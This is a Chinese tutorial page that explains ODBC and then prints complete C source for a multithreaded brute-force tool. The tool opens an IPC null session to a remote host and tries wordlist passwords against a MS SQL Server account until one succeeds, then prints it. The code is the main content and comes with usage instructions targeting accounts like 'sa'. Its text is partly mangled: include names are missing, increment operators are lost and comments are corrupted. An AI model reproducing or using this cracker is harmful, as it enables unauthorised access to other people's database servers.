远程检测MS SQL Server账号安全性

远程检测MS SQL Server账号安全性 - 电脑安全 - 电脑教程网

远程检测MS SQL Server账号安全性

日期:2006-04-14   荐:

ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。

ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:<1>启动ODBC数据库应用程序。<2>与服务器建立IPC SESSION。<3>创建数据库应用的环境句柄。<4>创建连接句柄。<5>连接数据源。<6>创建语句句柄。<7>通过上一步创建的语句句柄来执行SQL操作。<8>释放语句句柄。<9>要进行多此SQL操作的话,就循环步骤6-8。<10>断开与数据库的连接。<11>释放连接句柄。<12>释放环境句柄。<13>断开IPC SESSION。<14>程序结束。下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。/**********************************************************Module Name:SQLCheck.cDate:2000.12.14WEB:www.patching.netNotices:Copyright(c) eyas**********************************************************/#include #include #include #include #include #include #include #include ////////////////////////////////////////////////////////////////////////file://定义全局变量char dict[20000][40],//密码字典UserName[40],//用户名target[40],//目标服务器passwd[40];//已经探测出来的正确密码int total=0;//字典里面单词数量BOOL Cracked=FALSE;//探测密码成功时此值为TRUEHANDLE hSemaphore,//信标内核对象hEvent;//事件内核对象long MaxThreads,//最大线程数量ActiveThreads;//活动线程数量////////////////////////////////////////////////////////////////////////void usage(char *pragname){printf("\nPower by eyas""\nhttp://www.patching.net""\n2000/12/14""\n\nUsage:%s ""\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);return;}////////////////////////////////////////////////////////////////////////int ReadDic(char *dic){FILE *fp;char tmp[40];file://打开字典文件if((fp=fopen(dic,"r"))==NULL){printf("\nCan't open %s",dic);return 1;}while(!feof(fp)){file://读取数据到临时变量if(fgets(tmp,40,fp)==NULL)break;file://把从文件里面读出来的最后一位数据[换行符号]去掉strncpy(dict[total],tmp,strlen(tmp)-1);total ;if(total>=19999)break;} fclose(fp);return 0;}////////////////////////////////////////////////////////////////////////int ConnIPC(char *RemoteName){NETRESOURCE nr;DWORD flags=CONNECT_UPDATE_PROFILE;TCHAR RN[30]="\\\\",LN[5]="";strcat(RN,RemoteName);strcat(RN,"\\ipc$");nr.dwType=RESOURCETYPE_DISK;nr.lpLocalName=(LPTSTR)&LN;nr.lpRemoteName=(LPTSTR)&RN;nr.lpProvider=NULL;if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR){return 0;}else{return 1;}}////////////////////////////////////////////////////////////////////////int DelIPC(char *RemoteName){DWORD ret;TCHAR lpName[30]="\\\\";strcat(lpName,RemoteName);strcat(lpName,"\\ipc$");ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);if(ret==NO_ERROR){return 0;}else{return 1;}}////////////////////////////////////////////////////////////////////////DWORD WINAPI SQLCheck(PVOID pPwd){file://定义局部变量char szBuffer[1025];char *pwd;SWORD swStrLen; SQLHDBC hdbc;SQLHANDLE henv;SQLRETURN retcode;//ODBC API运行返回值SCHAR ConnStr[200];//连接数据库字符串long PreviousCount;file://取得传递过来准备探测的密码pwd=(char *)pPwd;file://构造连接数据库字符sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",target,UserName,pwd);file://puts(ConnStr);__try{file://创建数据库应用的环境句柄if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) {printf("\nAllocate environment handle failed.\n");ExitProcess(1);}file://设置ODBC版本环境if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS){printf("\nSet the ODBC version environment attribute failed.\n");SQLFreeHandle(SQL_HANDLE_ENV, henv);ExitProcess(1);}file://创建连接句柄if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR*)&hdbc)) != SQL_SUCCESS){printf("\nAllocate connection handle failed.\n");SQLFreeHandle(SQL_HANDLE_ENV, henv);ExitProcess(1); }file://连接数据源retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),szBuffer,sizeof(szBuffer),&swStrLen,SQL_DRIVER_COMPLETE_REQUIRED); if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO){file://连接失败,函数终止file://printf("\nCouldn't connect to %s MSSQL server.\n",target);}else{file://连接远程MSSQL Server数据库成功Cracked=TRUE;strncpy(passwd,pwd,sizeof(passwd));file://断开连接SQLDisconnect(hdbc);}}//end of tyr__finally{file://释放连接句柄SQLFreeHandle(SQL_HANDLE_DBC, hdbc);file://释放环境句柄SQLFreeHandle(SQL_HANDLE_ENV, henv);file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值ReleaseSemaphore(hSemaphore,1,&PreviousCount);file://计算当前活动线程数量ActiveThreads=MaxThreads-PreviousCount-1;file://printf("\nActiveThreads-->%d.",ActiveThreads);file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束if(ActiveThreads==0){SetEvent(hEvent);}}//end of finallyreturn 0;}////////////////////////////////////////////////////////////////////////int main(int argc,char **argv){HANDLE hThread;//线程句柄DWORD dwThreadId,dwRet;int i=0,err=0;clock_t start,end;//程序运行的起始和结束时间double duration;if(argc!=5){usage(argv[0]);return 1;}file://取得目标地址,用户名strncpy(target,argv[1],sizeof(target));strncpy(UserName,argv[2],sizeof(UserName));file://取得并检查用户输入的最大线程数量MaxThreads=atol(argv[4]);if((MaxThreads>100) || (MaxThreads<1)) {usage(argv[0]);return 1;}file://读取字典中的单词到内存中if(ReadDic(argv[3])!=0)return 1;file://与目标机器建立IPC Sessionif(ConnIPC(argv[1])!=0){printf("\nCan't built IPC NULL Session!"); return 1;}else{printf("\nBuilt IPC NULL Session success!\n");}file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreadshSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);if(hSemaphore==NULL){printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());return 1;}file://创建事件内核对象[人工重置,初始状态为未通知]hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);if(hEvent==NULL){printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());CloseHandle(hSemaphore);return 1;}file://开始计时start=clock();file://开始建立线程探测密码for(i=0;i {file://探测密码成功后跳出此循环if(Cracked==TRUE)break;file://显示进度信息printf("\n[%d/%d] %s -> %s -> %s",i 1,total,target,UserName,dict[i]);file://创建线程hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);file://处理创建线程错误的情况if(hThread==NULL){err ;MessageBox(NULL,"thread error","error",MB_OK);if(err>=50)break;}CloseHandle(hThread);Sleep(10);file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态WaitForSingleObject(hSemaphore,INFINITE);}file://等待事件内核对象通知,最多等待3分钟dwRet=WaitForSingleObject(hEvent,180000);switch(dwRet){case WAIT_OBJECT_0:printf("\nAll thread done.");break;case WAIT_TIMEOUT:printf("\nWait time out.Exit.");break;case WAIT_FAILED: printf("\nWaitForSingleObject() failed.");break;}file://断开与目标机器的IPC SessionDelIPC(target);file://探测密码成功后回显信息if(Cracked==TRUE)printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);file://记时结束end=clock();file://转换时间格式duration = (double)(end - start) / CLOCKS_PER_SEC;file://显示所用时间printf("\n\nComplete.Use %2.1f seconds.\n",duration); return 0;}////////////////////////////////////////////////////////////////////////程序在windows2000,vc 6.0环境下编译通过。

标签: